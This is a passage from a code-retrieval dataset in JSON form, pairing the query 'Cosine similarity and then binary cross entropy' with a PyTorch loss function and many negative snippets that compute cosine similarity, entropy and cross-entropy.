like","value":["0.80328393","0.67299455","0.66159296","0.66159296","0.64298815","0.6289178","0.6266176","0.61912405","0.61626637","0.6018673","0.59994423","0.5962766","0.5931081","0.5912171","0.59048337","0.58585835","0.5848837","0.58444375","0.5830088","0.58018595","0.5785802","0.57694185","0.5762832","0.576098","0.5760091","0.57583755","0.5755651","0.57543945","0.5747457","0.57450753","0.57434934","0.5733262","0.572862","0.5723018","0.5716751","0.5708718","0.5683389","0.5673642","0.5646262","0.5644965","0.5641261","0.5626206","0.56150293","0.56148946","0.56137437","0.56127375","0.5609343","0.558267","0.5572527","0.55691123","0.554953","0.55366427","0.5525805","0.5517674","0.55008656","0.54831064","0.54757583","0.5469904","0.546897","0.54563785","0.54483664","0.5445177","0.5443223","0.5441175","0.54409677","0.5439426","0.5434217","0.5431202","0.54296684","0.54211485","0.5416694","0.54137164","0.5410956","0.5410956","0.5410956","0.5407541","0.5405019","0.54033184","0.53961605","0.5394917","0.5393293","0.53911513","0.53911513","0.53863555","0.53837687","0.5383639","0.53816146","0.5378547","0.5376854","0.53714603","0.5370083","0.5370083","0.5360226","0.53504103","0.5345472","0.53438765","0.53360665","0.5319498","0.5315563","0.53103864"],"string":"[\n \"0.80328393\",\n \"0.67299455\",\n \"0.66159296\",\n \"0.66159296\",\n \"0.64298815\",\n \"0.6289178\",\n \"0.6266176\",\n \"0.61912405\",\n \"0.61626637\",\n \"0.6018673\",\n \"0.59994423\",\n \"0.5962766\",\n \"0.5931081\",\n \"0.5912171\",\n \"0.59048337\",\n \"0.58585835\",\n \"0.5848837\",\n \"0.58444375\",\n \"0.5830088\",\n \"0.58018595\",\n \"0.5785802\",\n \"0.57694185\",\n \"0.5762832\",\n \"0.576098\",\n \"0.5760091\",\n \"0.57583755\",\n \"0.5755651\",\n \"0.57543945\",\n \"0.5747457\",\n \"0.57450753\",\n \"0.57434934\",\n \"0.5733262\",\n \"0.572862\",\n \"0.5723018\",\n \"0.5716751\",\n \"0.5708718\",\n \"0.5683389\",\n \"0.5673642\",\n \"0.5646262\",\n \"0.5644965\",\n \"0.5641261\",\n \"0.5626206\",\n \"0.56150293\",\n \"0.56148946\",\n \"0.56137437\",\n \"0.56127375\",\n \"0.5609343\",\n \"0.558267\",\n \"0.5572527\",\n \"0.55691123\",\n \"0.554953\",\n \"0.55366427\",\n \"0.5525805\",\n \"0.5517674\",\n \"0.55008656\",\n \"0.54831064\",\n \"0.54757583\",\n \"0.5469904\",\n \"0.546897\",\n \"0.54563785\",\n \"0.54483664\",\n \"0.5445177\",\n \"0.5443223\",\n \"0.5441175\",\n \"0.54409677\",\n \"0.5439426\",\n \"0.5434217\",\n \"0.5431202\",\n \"0.54296684\",\n \"0.54211485\",\n \"0.5416694\",\n \"0.54137164\",\n \"0.5410956\",\n \"0.5410956\",\n \"0.5410956\",\n \"0.5407541\",\n \"0.5405019\",\n \"0.54033184\",\n \"0.53961605\",\n \"0.5394917\",\n \"0.5393293\",\n \"0.53911513\",\n \"0.53911513\",\n \"0.53863555\",\n \"0.53837687\",\n \"0.5383639\",\n \"0.53816146\",\n \"0.5378547\",\n \"0.5376854\",\n \"0.53714603\",\n \"0.5370083\",\n \"0.5370083\",\n \"0.5360226\",\n \"0.53504103\",\n \"0.5345472\",\n \"0.53438765\",\n \"0.53360665\",\n \"0.5319498\",\n \"0.5315563\",\n \"0.53103864\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.624021"},"document_rank":{"kind":"string","value":"7"}}},{"rowIdx":15391,"cells":{"query":{"kind":"string","value":"Cosine similarity and then binary cross entropy."},"document":{"kind":"string","value":"def _cosine_and_bce(preds: Tensor, pseudo_label: Tensor, mask: Tensor) -> Tensor:\n # cosine similarity\n cosine_sim = dot_product(preds[:, None, :], preds).clamp(min=0, max=1)\n # binary cross entropy\n unreduced_loss = F.binary_cross_entropy(cosine_sim, pseudo_label, reduction=\"none\")\n return torch.mean(unreduced_loss * mask)"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def compute_cosine_similarity(self):\n cos_matrix = []\n for i in range(len(self.train_vec)):\n val = self.vec1 * self.train_vec[i]\n cos_matrix.append(val[0])\n out = np.argmax(cos_matrix)\n print(self.train_output[out])","def calculate_cosine_similarity(self):\n tfidf_matrix = self.calculate_tfidf()\n\n cosine_similarity = linear_kernel(tfidf_matrix, tfidf_matrix) # Cosine similarity matrix calculation\n\n return cosine_similarity","def get_cosine_sim(self):\r\n return CosineSimilarity().calculate_similarity(self.tweets)","def cosine_similarity(self, source_doc, input_doc):\n vectorizer = self.vectorizer or TfidfVectorizer(tokenizer=PlagiarismDetector.tokenize_and_stem, stop_words='english')\n tfidf = vectorizer.fit_transform([source_doc, input_doc])\n return ((tfidf * tfidf.T).A)[0, 1]","def cosine_similarity(self, x, y):\n return np.dot(x, y) / (np.linalg.norm(x) * np.linalg.norm(y))","def get_cosine_similarity(doc1, doc2):\n count_vectorizer = CountVectorizer(stop_words='english')\n sparse_matrix = count_vectorizer.fit_transform(raw_documents=[doc1, doc2])\n dtm = sparse_matrix.todense()\n df_dtm = pd.DataFrame(data=dtm, \n columns=count_vectorizer.get_feature_names(), \n index=['doc1', 'doc2'])\n similarity_matrix = cosine_similarity(df_dtm, df_dtm)\n similarity_score = round(similarity_matrix[0][1], 6)\n return similarity_score","def test_cossim(self):\n metrics = SimilarityMetrics()\n test1 = metrics.cosine_similarity(np.asarray([1,1]),np.asarray([-1,1]))\n np.testing.assert_almost_equal(test1,0.0)\n\n test2 = metrics.cosine_similarity(np.asarray([1,-1]),np.asarray([-1,1]))\n np.testing.assert_almost_equal(test2,-1.0)\n\n test3 = metrics.cosine_similarity(np.asarray([1,1]),np.asarray([1,1]))\n np.testing.assert_almost_equal(test3,1.0)","def cosine_similarity(y_true, y_pred, axis=-1):\n y_true = nn.l2_normalize(y_true, axis=axis)\n y_pred = nn.l2_normalize(y_pred, axis=axis)\n return -math_ops.reduce_sum(y_true * y_pred, axis=axis)","def cosine_similarity(cls, vec_a, vec_b):\n return np.dot(vec_a, vec_b) / \\\n (np.linalg.norm(vec_a) * np.linalg.norm(vec_b))","def cosine_similarity(x1, x2, dim=1, eps=1e-8):\n w12 = torch.sum(x1 * x2, dim)\n w1 = torch.norm(x1, 2, dim)\n w2 = torch.norm(x2, 2, dim)\n return (w12 / (w1 * w2).clamp(min=eps)).squeeze()","def cosine_similarity(x1, x2, dim=1, eps=1e-8):\r\n w12 = torch.sum(x1 * x2, dim)\r\n w1 = torch.norm(x1, 2, dim)\r\n w2 = torch.norm(x2, 2, dim)\r\n return (w12 / (w1 * w2).clamp(min=eps)).squeeze()","def compute_cosine_sim(vec1, vec2):\n numer = np.dot(vec1.reshape((300,)), vec2.reshape((300,)))\n denom = np.sqrt(np.sum(np.square(vec1.reshape(300, )))) * np.sqrt(\n np.sum(np.square(vec2.reshape(300, ))))\n\n similarity = numer / denom\n\n return similarity","def cosine_similarity(v1, v2):\n return np.dot(v1, v2) / (np.linalg.norm(v1) * np.linalg.norm(v2))","def cosine_similarity(a, b):\n cs = dot_product(a, b)/(norm(a) * norm(b))\n return cs","def cosine_sim_counters(a, b):\n union_ab = sorted((a | b).keys())\n veca = np.array([a[element] if element in a else 0 for element in union_ab])\n vecb = np.array([b[element] if element in b else 0 for element in union_ab])\n return np.dot(veca, vecb) / (np.linalg.norm(veca) * np.linalg.norm(vecb))","def pairwise_cosine_similarity(x, y):\n x = torch.div(x, torch.sqrt(torch.max(torch.sum(x ** 2), 1e-12)))\n y = torch.div(y, torch.sqrt(torch.max(torch.sum(y ** 2), 1e-12)))\n return torch.mm(x, torch.transpose(y, 1, 0))","def cosine_similarity(v1: Vector, v2: Vector) -> float:\n return dot_product(v1, v2) / (vector_len(v1) * vector_len(v2))","def getGloveoCosineSimilarity(question1, question2):\n questions = [question1, question2]\n\n ## for the sentences we need to get the count vectors\n vec = CountVectorizer(max_features=5000, stop_words=None,binary=True)\n count_vectors = vec.fit_transform(questions)\n\n ## get the vocabulary of words from the questions\n vocab_index = vec.vocabulary_\n\n ## get the index of the words and embeddings\n index_word = {v:k for k, v in vocab_index.items()}\n\n ## get the question vectors\n question_vectors = np.zeros((count_vectors.shape[0], 300))\n\n ## iterate through count vectors for each word get the embeddings\n ## for each embedding, we will then average by the number of words\n ## this will be then used for cosine similarity\n for i in range(count_vectors.shape[0]):\n row = count_vectors[i, :].toarray()\n word_ids = np.where(row > 0)[1]\n word_counts = row[:, word_ids][0]\n numWords = np.sum(word_counts)\n\n ## if there are no words, continue\n if numWords == 0:\n continue\n\n ## initialize the word embeddings to 0\n word_embeddings = np.zeros((word_ids.shape[0], 300))\n\n ## update the word embeddings\n for j in range(word_ids.shape[0]):\n word_id = word_ids[j]\n word_embeddings[j, :] = word_counts[j] * gloveDict[index_word[word_id]]\n question_vectors[i, :] = np.sum(word_embeddings, axis=0) / numWords\n\n return(cosine_similarity(question_vectors[0], question_vectors[1])[0][0])","def test_cosine_similarity_compiled():\n vector1 = np.array([1, 1, 0, 0])\n vector2 = np.array([1, 1, 1, 1])\n score11 = cosine_similarity(vector1, vector1)\n score12 = cosine_similarity(vector1, vector2)\n score22 = cosine_similarity(vector2, vector2)\n\n assert score12 == 2 / np.sqrt(2 * 4), \"Expected different score.\"\n assert score11 == score22 == 1.0, \"Expected different score.\"","def cosine_similarity(vec1, vec2) -> float:\n return np.dot(vec1, vec2) / (np.linalg.norm(vec1) * np.linalg.norm(vec2))","def CosineSimilarity(test_vec, source_vecs):\n cos_dist = 0\n for source_vec in source_vecs:\n cos_dist += FacePredictor.findCosineDistance(test_vec, source_vec)\n return cos_dist / len(source_vecs)","def tf_cosine_distance(self, a, b):\n normalize_a = tf.nn.l2_normalize(a, -1)\n normalize_b = tf.nn.l2_normalize(b, -1)\n cos_similarity = tf.reduce_sum(\n tf.multiply(normalize_a, normalize_b), axis=-1, keep_dims=True\n )\n return (1.0 - cos_similarity) / 2.0","def cosine_similarity(self, v1: np.ndarray, v2: np.ndarray) -> float:\n return np.dot(v1, v2) / (np.linalg.norm(v1) * np.linalg.norm(v2))\n # return cosine_similarity(v1, v2)[0][0]","def compute_cosine_sim(vec1, vec2):\r\n\r\n vec1 = np.array(vec1)\r\n vec2 = np.array(vec2)\r\n return np.dot(vec1, vec2)/(norm(vec1) * norm(vec2))","def entropy(data):\n strings, lens = Counter(data), np.float(len(data))\n return -sum(count / lens * np.log2(count / lens) for count in strings.values())","def cEntropy(Y, X):\n return jEntropy(Y, X) - entropy(X)","def test_cosine_similarity_all_zeros_compiled():\n vector1 = np.array([0, 0, 0, 0])\n vector2 = np.array([1, 1, 1, 1])\n score11 = cosine_similarity(vector1, vector1)\n score12 = cosine_similarity(vector1, vector2)\n score22 = cosine_similarity(vector2, vector2)\n\n assert score11 == score12 == 0.0, \"Expected different score.\"\n assert score22 == 1.0, \"Expected different score.\"","def cosine_sim(a: np.ndarray, \n b: np.ndarray \n ) -> float:\n return (\n 1 + a.dot(b) / \n (np.linalg.norm(a)*np.linalg.norm(b))\n ) / 2","def cosine_similarity(vec_x, vec_y):\n sim_prod = 0.0\n len_x = 0\n len_y = 0\n\n for ngram in vec_x:\n len_x += vec_x[ngram] ** 2\n\n for ngram in vec_y:\n len_y += vec_y[ngram] ** 2\n\n len_x = math.sqrt(len_x)\n len_y = math.sqrt(len_y)\n\n for ngram in vec_x:\n if ngram in vec_y:\n sim_prod += vec_x[ngram] * vec_y[ngram]\n\n return sim_prod / (len_x * len_y)","def calculate_cross_entropy(self, output, flat_labels): #completed, expensive, should be compiled\n return -np.sum(np.log(np.clip(output, a_min=1E-12, a_max=1.0))[np.arange(flat_labels.shape[0]), flat_labels[:,1]])","def shannon_entropy(probs):\n return -(\n math.sum([px * math.log2(px) if px != 0 and not (np.isclose(px, 0)) else 0 for px in probs])\n )","def condentropy(truelabels, labels):\n labels=array(labels)\n truelabels=array(truelabels)\n \n condent=0.\n for l in xrange(min(labels),max(labels)+1):\n sublabels = truelabels[ labels==l ]\n condent += len(sublabels)*chl_entropy( sublabels )\n return condent/float(len(labels))","def cosine(X,Y=None,dense_output=True):\n #Reemplace NaN with Zero\n X[np.isnan(X)] = 0\n if Y is not None:\n Y[np.isnan(Y)] = 0\n \n return cosine_similarity(X,Y,dense_output)","def similarity_function(feature1, feature2):\n # 256 HOG, 18 HSV, 512 Encoder\n # weight color more if using the full vector\n if len(feature1) > 785:\n salient1 = feature1[256:256 + 18].copy() # be careful not to modify feature vector in place\n salient2 = feature2[256:256 + 18].copy()\n feature1 = feature1.copy()\n feature2 = feature2.copy()\n feature1[256:256 + 18] = salient1 * 10\n feature2[256:256 + 18] = salient2 * 10\n\n abs_distance = np.abs(feature1 - feature2)\n return np.sum(abs_distance)","def cosine_similarity(v1, v2):\n sim = np.sum(v1*v2)/np.sqrt(np.sum(v1**2))/np.sqrt(np.sum(v2**2))\n return sim","def predict_cosine_similarities(sess, word_A, words_B):\n\n word_A_id, _ = sentence_to_word_ids(word_A, word_to_index)\n words_B_ids, split_sentence = sentence_to_word_ids(words_B, word_to_index)\n\n evaluated_cos_similarities = sess.run(\n cosine_similarities, \n feed_dict={\n tf_word_A_id: word_A_id,\n tf_words_B_ids: words_B_ids\n }\n )\n return evaluated_cos_similarities, split_sentence","def shannon_entropy(counts):\n freq = np.array(counts) * 1.0 / np.sum(counts)\n return -np.sum([f * np.log2(f) for f in freq if f != 0])","def test_cosine_similarity():\n vector1 = np.array([1, 1, 0, 0])\n vector2 = np.array([1, 1, 1, 1])\n score11 = cosine_similarity.py_func(vector1, vector1)\n score12 = cosine_similarity.py_func(vector1, vector2)\n score22 = cosine_similarity.py_func(vector2, vector2)\n\n assert score12 == 2 / np.sqrt(2 * 4), \"Expected different score.\"\n assert score11 == score22 == 1.0, \"Expected different score.\"","def get_cosine_similarity(word2vec: Word2Vec) -> np.ndarray:\n return cosine_similarity(word2vec.wv.vectors)","def entropy(data):\n\n freqs = {}\n suma = len(data)\n\n for i in range(0, len(data)):\n freqs[data[i]] = 1.0 + freqs.get(data[i], 0)\n\n res = 0.0\n for i in freqs:\n res += (freqs[i] / suma) * log((freqs[i] / suma), 2)\n return -res","def compute_cosine(pred, obs):\n assert(pred.numel() == obs.numel()), \\\n 'Size of observation and prediction tensors much match. Received: pred %s, obs %s.'%(\n str(pred.size()), str(obs.size()))\n\n def normalise(x, dim=1):\n \"\"\" compute L2 norm and normalise x \"\"\"\n norm = torch.sqrt( torch.pow(x,2.).sum(dim) )\n if dim>0:\n x /= norm.unsqueeze(dim)\n return x\n\n # if we have one-dimensional tensors, compute cosine similarity along first dimension (0).\n # if we have two-dimensional tensors, compute cosine similarity along second dimension (1).\n # if we have three-dimensional tensors, compute cosine similarity along third dimension (2).\n # i.e. first dimension is considered the feature vector (will be reduced to a scalar, the cos.sim.)\n dim = len(pred.size()) - 1\n assert(dim>=0 and dim <=2), \\\n 'This function only computes cosine similarity between 1D, 2D or 3D tensors! Received dim==%i'%(dim)\n\n p_norm = normalise(pred, dim=dim)\n v_norm = normalise(obs, dim=dim)\n return torch.nn.functional.cosine_similarity( p_norm, v_norm, dim=dim )","def get_similarity(df):\n count = CountVectorizer()\n count_matrix = count.fit_transform(df[\"bag_of_words\"])\n cosine_sim = cosine_similarity(count_matrix, count_matrix)\n return cosine_sim","def cosine_similarity(v1, v2):\n # Cosine Sim:\n # Get the words that both have in common\n\n v1words = set(v1.keys())\n v2words = set(v2.keys())\n\n numerator_words = v1words.intersection(v2words)\n\n # Multiply and sum those counts\n numerator = 0.0\n for word in numerator_words:\n numerator += v1[word] * v2[word]\n\n\n # Divide by the sqrt of the product of the sum of the squares of the counts\n denominator = math.sqrt(math.magnitude(list(v1.values())) * math.magnitude(list(v2.values())))\n\n return numerator/denominator","def compute_cosine_global_image_features(pred_location, pred_scale, obs):\n pred_location, pred_scale, obs = reshape_global_image_features(pred_location, pred_scale, obs)\n # compute cosine distance between ground truth image features and generated image features (zs)\n image_cosine = compute_cosine(pred_location, obs)\n image_cosine = torch.mean(image_cosine)\n return image_cosine","def get_cosine_similarities(keywords: List[str],\n matrices: Matrices,\n word2onehot: Dict[str, int]\n ) -> None:\n for i in combinations(keywords, 2):\n print(i[0], i[1], cosine_sim(\n matrices.embedding[\n word2onehot[i[0]]], matrices.embedding[word2onehot[i[1]]\n ]\n ))","def cosine_similarity(vector_x, vector_y):\n if(len(vector_x)!=len(vector_y)):\n raise Exception('Vectors must be the same dimensions')\n \n return 1-np.dot(vector_x,vector_y)/(np.linalg.norm(vector_x)*np.linalg.norm(vector_y))","def test_cosine():\n same_spectrum()\n all_match()\n no_match()\n max_v_greedy()","def cosine_similarity(X):\n matrix = X.dot(X.transpose()).todense()\n mat_len = len(matrix)\n norms = [0] * mat_len\n for i in range(0, mat_len):\n norms[i] = 1.0 / np.sqrt(matrix.item((i, i)))\n norm_mat = np.matrix(norms)\n return np.multiply(norm_mat.transpose().dot(norm_mat), matrix)","def cosine_similarity(v1, v2):\n v1_len = 0\n v2_len = 0\n dot_product = 0\n\n for context_id, count in v1.items():\n v1_len += count ** 2\n if context_id in v2:\n dot_product += count*v2[context_id]\n for count in v2.values():\n v2_len += count ** 2\n\n v1_len = math.sqrt(v1_len)\n v2_len = math.sqrt(v2_len)\n return dot_product/(v1_len * v2_len)","def calculate_entropy(eval_token_count, training_model):\n sum_of_counts = sum(eval_token_count.values())\n cross_entropy = 0\n mis = []\n for ngram in eval_token_count:\n if training_model.score(ngram[-1], list(ngram[0:3])) == 0 or sum_of_counts == 0:\n mi = np.mean(mis) if len(mis) > 0 else np.log2(0.287)\n else:\n mi = training_model.logscore(ngram[-1], list(ngram[0:3]))\n pi = eval_token_count[ngram] / sum_of_counts\n mis.append(mi)\n cross_entropy -= pi * mi\n return cross_entropy","def test_cosine_similarity_all_zeros():\n vector1 = np.array([0, 0, 0, 0])\n vector2 = np.array([1, 1, 1, 1])\n score11 = cosine_similarity.py_func(vector1, vector1)\n score12 = cosine_similarity.py_func(vector1, vector2)\n score22 = cosine_similarity.py_func(vector2, vector2)\n\n assert score11 == score12 == 0.0, \"Expected different score.\"\n assert score22 == 1.0, \"Expected different score.\"","def cosin_sim_pairs(a, b):\n wordsA = set(a.keys())\n wordsB = set(b.keys())\n inter = wordsA.intersection(wordsB)\n if(len(inter) == 0):\n return 0.0\n aa, bb, ab = 0, 0, 0\n for k in inter:\n aa += a[k] ** 2\n bb += b[k] ** 2\n ab += a[k] * b[k]\n for k in wordsA - inter:\n aa += a[k] ** 2\n for k in wordsB - inter:\n bb += b[k] ** 2\n return ab / float(math.sqrt(aa) * math.sqrt(bb))","def sym_entropy(self, S, mapping):\n if self.distance == 'euclidean':\n distances = euclidean_distance(S, self.C)\n else:\n distances = cosine_distance(S, self.C)\n Q = T.nnet.softmax(-distances / self.m)\n\n # Calculates the fuzzy membership vector for each histogram S\n # Q, scan_u = theano.map(fn=self.sym_get_similarity, sequences=[S])\n\n Nk = T.sum(Q, axis=0)\n\n H = T.dot(mapping.T, Q)\n P = H / Nk\n\n entropy_per_cluster = P * T.log2(P)\n entropy_per_cluster = T.switch(T.isnan(entropy_per_cluster), 0, entropy_per_cluster)\n entropy_per_cluster = entropy_per_cluster.sum(axis=0)\n\n Rk = Nk / Nk.sum()\n E = -(entropy_per_cluster * Rk).sum()\n return T.squeeze(E)","def binary_cross_entropy(y_true, y_preds):\n return np.sum(y_true * np.log(y_preds) + (1 - y_true) * np.log(1 - y_preds))","def cosine_similarity(a, b):\n\n numerator = tf.reduce_sum(tf.multiply(a, b), axis=1)\n denominator = tf.multiply(tf.norm(a, axis=1), tf.norm(b, axis=1))\n cos_similarity = numerator/denominator\n return cos_similarity","def conditional_entropy(self) -> float:\n pass","def cosine_similarity(user, business):\n return len(user.intersection(business)) / (math.sqrt(len(user)) * math.sqrt(len(business)))","def ShannonEntropy(self,s):\n e = s[np.nonzero(s)]**2 * np.log(s[np.nonzero(s)]**2)\n return np.sum(e)","def word_similarity(self):\n y_true = []\n y_pred = []\n for i in open(\"data/word_sim_dataset.txt\").read().split('\\n'):\n i = self.preprocessor(i)\n w1 = i.split()[-1]\n w2 = i.split()[-2] \n st = float(i.split()[-3]) / 4 #dataset has scale from 0 to 4\n \n try:\n w1 = self.embeddings_index[w1] \n w2 = self.embeddings_index[w2] \n w1 = w1 / np.linalg.norm(w1)\n w2 = w2 / np.linalg.norm(w2)\n y_pred.append(np.dot(w1,w2))\n y_true.append(st)\n except:\n pass\n if y_true == []:\n return 1.0\n return mean_squared_error(y_true, y_pred, squared=False)","def entropy(dist):\n #dist = array([max(d,1e-100) for d in dist])\n dist = dist + 1e-20\n return dot(dist,(log(1.0/dist) * (1.0/log(2.0))).T)","def calculate_entropy(y):\n\tlog2 = lambda x: math.log(x) / math.log(2)\n\tunique_labels = np.unique(y)\n\tentropy = 0\n\tfor label in unique_labels:\n\t\tcount = len(y[y == label])\n\t\tp = count / len(y)\n\t\tentropy += -p * log2(p)\n\treturn entropy","def compute_similarity(x, y, metric='kl_divergence'):\n from scipy.stats import entropy, pearsonr\n # remove zeros slightly increase divergence\n x = x[x != 0]\n y = y[y != 0]\n # outer join two distributions\n eps = min(x.min(), y.min()) / 10\n xy = pd.concat([x, y], axis=1).add(eps, fill_value=0)\n x = xy.iloc[:, 0]\n y = xy.iloc[:, 1]\n if metric == 'pearson':\n score, _ = pearsonr(x, y)\n else:\n score = entropy(x, y)\n return score","def get_entropy(self, documents):\n entropy = 0\n for c in self.classes:\n count = 0\n for document in documents:\n if document.c == c:\n count += 1\n if count != 0 and len(documents) != 0:\n ratio = count / len(documents)\n entropy -= ratio * log(ratio, 2)\n return entropy","def cos_sim(com_feat,ref_feat):\n # Fill this in\n a = numpy.squeeze(com_feat)\n b = numpy.squeeze(ref_feat)\n return numpy.dot(a, b) / (numpy.linalg.norm(a) * numpy.linalg.norm(b))","def cross_entropy(x, y):\n\n if len(y.shape) == 1:\n return F.cross_entropy(x, y)\n if y.shape[1] == 1:\n y = y.squeeze(1)\n return F.cross_entropy(x, y)\n\n return torch.mean(\n torch.div(\n F.binary_cross_entropy_with_logits(x, y, reduction=\"none\"),\n torch.sum(y, dim=1),\n )\n )","def _entropy(data):\n hist = np.array(PIL.Image.fromarray(data).histogram())\n hist = hist / hist.sum()\n hist = hist[hist != 0]\n return -np.sum(hist * np.log2(hist))","def get_entropy(self, rows):\n label_count = defaultdict(int)\n total_count = 0\n for row in rows:\n label = row[self.target_attribute]\n label_count[label] += 1\n total_count += 1\n return sum([-(float(label_count[label]) /\n total_count) * np.log2(float(label_count[label]) / total_count)\n for label in label_count.keys()])","def sc(self) -> float:\n a = np.dot(self.true - np.mean(self.true), self.predicted - np.mean(self.predicted))\n b = np.linalg.norm(self.true - np.mean(self.true))\n c = np.linalg.norm(self.predicted - np.mean(self.predicted))\n e = b * c\n return float(np.arccos(a / e))","def idf_modified_cosine(x, y, idf):\n result = 0\n try:\n tf_x = [dict([word, int(tf)] for word, tf in dict(\n np.array(np.unique(x, return_counts=True)).T).items())][0]\n tf_y = [dict([word, int(tf)] for word, tf in dict(\n np.array(np.unique(y, return_counts=True)).T).items())][0]\n result = sum([tf_x[w] * tf_y[w] * (idf[w]**2)\n\t\t for w in tf_x.keys() & tf_y.keys()]) / ((\n sum([(tf_x[w] * idf[w])**2\n for w in tf_x.keys()])**0.5) * (\n sum([(tf_y[w] * idf[w])**2\n for w in tf_y.keys()])**0.5))\n except:\n print(r'x:', x, r'y:', y)\n pass\n return result","def __cos_sim(self, v1, v2):\n if np.count_nonzero(v1) == 0 or np.count_nonzero(v2) == 0:\n # whenever at least one of the vectors is all zeros, spatial.distance.cosine will fail by returning nan\n ret = 0\n else:\n ret = 1 - spatial.distance.cosine(v1, v2)\n return ret","def entropy(data):\n n, m = np.shape(data)\n data = np.tanh(data)\n data = data / np.sum(data, axis=0)\n a = data * 1.0\n a[np.where(data == 0)] = 0.000001\n\n e = (-1.0 / np.log(n)) * np.sum(data * np.log(a), axis=0)\n w = (1 - e) / np.sum(1 - e)\n return w","def get_cosin_sim(question, contexts):\r\n cos_sim_for_question = []\r\n for context in contexts :\r\n cv = CountVectorizer(stop_words=MY_STOPWORDS, lowercase=False)\r\n matrix = cv.fit_transform(pd.DataFrame([question, context])[0]).toarray()\r\n cos_sim = dot(matrix[0], matrix[1])/(norm(matrix[0])*norm(matrix[1]))\r\n cos_sim_for_question.append(cos_sim)\r\n return pd.Series(cos_sim_for_question)","def calc_entropy(data_set):\n size = len(data_set)\n label_counts = {}\n for feat_vector in data_set:\n label = feat_vector[-1]\n label_counts.setdefault(label, 0)\n label_counts[label] += 1\n\n entropy = 0.0\n for key, count in label_counts.iteritems():\n prob = float(count) / size\n entropy -= prob * log(prob, 2)\n\n return entropy","def conditional_entropy(f1, f2):\n\n ce = ee.entropyd(f1) - ee.midd(f1, f2)\n return ce","def cosine_sim(im, s):\n return im.mm(s.t()) #image.mm(sentence.t()) & mm() Performs a matrix multiplication of the matrices ","def entropy(x):\n nz = np.nonzero(x)[0]\n return -np.sum(x[nz]*np.log2(x[nz]))","def calculate_cosine_dist(main_text, new_text):\n wordbag = set(\" \".join([main_text, new_text]).split(\" \"))\n dot_prod = 0\n main_text = main_text.split(\" \")\n new_text = new_text.split(\" \")\n\n for word in wordbag:\n if word in main_text and word in new_text:\n # only worth looking at if word is in both. Otherwise dot prod = 0\n count_A = sum(np.array(main_text) == word)\n count_B = sum(np.array(new_text) == word)\n dot_prod += count_A * count_B\n\n return float(dot_prod) / (len(main_text) * len(new_text))","def compute_similarity(self, text1, text2):\n\n text1_dist = self.predict(text1)[0]\n text2_dist = self.predict(text2)[0]\n return jensenshannon(text1_dist, text2_dist)","def _entropy(self, y):\n # Get size\n n = y.shape[0]\n summation = 0\n\n # Summatory\n for c_i in np.unique(y):\n prob = sum(y == c_i) / float(n)\n summation += prob * np.log2(prob)\n\n return -summation","def cosine_similarity_tensorflow(tf_word_representation_A, tf_words_representation_B):\n a_normalized = tf.nn.l2_normalize(tf_word_representation_A, axis=-1)\n b_normalized = tf.nn.l2_normalize(tf_words_representation_B, axis=-1)\n similarity = tf.reduce_sum(\n tf.multiply(a_normalized, b_normalized), \n axis=-1\n )\n \n return similarity","def _cosine_matrix(self, x1, x2):\n # expand h1 shape to (batch_size, x1_timesteps, 1, embedding_size)\n x1 = K.expand_dims(x1, axis=2)\n # expand x2 shape to (batch_size, 1, x2_timesteps, embedding_size)\n x2 = K.expand_dims(x2, axis=1)\n # cosine matrix (batch_size, h1_timesteps, h2_timesteps)\n cos_matrix = self._cosine_similarity(x1, x2)\n return cos_matrix","def compute_cosine_similarity(base_vector, target_vector):\n\n np.seterr(all='print')\n cosine_similarity = 0\n\n try:\n base_vector = np.longdouble(base_vector)\n target_vector = np.longdouble(target_vector)\n vector_dot_products = np.dot(base_vector, target_vector)\n vector_norms = np.linalg.norm(base_vector) * np.linalg.norm(target_vector)\n cosine_similarity = np.divide(vector_dot_products, vector_norms)\n\n if vector_norms == 0.0:\n print 'Error in vec in compute_cosine_similarity'\n print target_vector\n\n except Exception, e:\n print(str(e))\n\n return cosine_similarity","def cosine_similarity(u, v):\n\n distance = 0.0\n\n ### START CODE HERE ###\n # Compute the dot product between u and v (≈1 line)\n dot = np.dot(u, v)\n # Compute the L2 norm of u (≈1 line)\n norm_u = np.sqrt(np.dot(u, u))\n\n # Compute the L2 norm of v (≈1 line)\n norm_v = np.sqrt(np.dot(v, v)) ##np.linalg.norm(u)\n # Compute the cosine similarity defined by formula (1) (≈1 line)\n cosine_similarity = dot / (norm_u * norm_v)\n ### END CODE HERE ###\n\n return cosine_similarity","def cross_entropy(self, sents):\n return (-1) * self.log_prob(sents) / len(self._count)","def cosinesimilarity_cal(CTRDM1, CTRDM2):\n\n # get number of conditions\n n_cons = np.shape(CTRDM1)[0]\n\n # calculate the number of value above the diagonal in RDM\n n = n_cons * (n_cons - 1)\n\n # initialize two vectors to store the values above the diagnal of two RDMs\n v1 = np.zeros([n], dtype=np.float64)\n v2 = np.zeros([n], dtype=np.float64)\n\n # assignment\n nn = 0\n for i in range(n_cons):\n for j in range(n_cons):\n if i != j:\n v1[nn] = CTRDM1[i, j]\n v2[nn] = CTRDM2[i, j]\n nn = nn + 1\n\n # calculate the Cosine Similarity\n V1 = np.mat(v1)\n V2 = np.mat(v2)\n num = float(V1 * V2.T)\n denom = np.linalg.norm(V1) * np.linalg.norm(V2)\n cos = num / denom\n similarity = 0.5 + 0.5 * cos\n\n return similarity","def __entropy(self, labels):\n class_probs = np.unique(labels, return_counts=True)[1] / labels.size\n class_prob_logs = np.log2(class_probs)\n entropy = -np.sum(class_probs * class_prob_logs)\n return entropy","def similarity_score(self, img1, img2):\n\t\t# resize into the same shape first\n\t\tif img1.shape != img2.shape:\n\t\t\tv, h = max(img1.shape[0], img2.shape[0]), max(img1.shape[1], img2.shape[1])\n\t\t\tdim = (h, v)\n\t\t\th_scale = min(img1.shape[1], img2.shape[1]) / h\n\t\t\tv_scale = min(img1.shape[0], img2.shape[0]) / v\n\t\t\timg1 = cv2.resize(img1, dim, interpolation = cv2.INTER_AREA)\n\t\t\timg2 = cv2.resize(img2, dim, interpolation = cv2.INTER_AREA)\n\t\t# # histogram\n\t\t# diff = 0\n\t\t# for c in range(3):\n\t\t# \thist1 = cv2.calcHist([img1], [c], None, [256], [0, 256])\n\t\t# \thist2 = cv2.calcHist([img2], [c], None, [256], [0, 256])\n\t\t# \tdiff += np.linalg.norm(hist1 - hist2)\n\n\t\t# HoG\n\t\tfd1, _ = hog(img1, 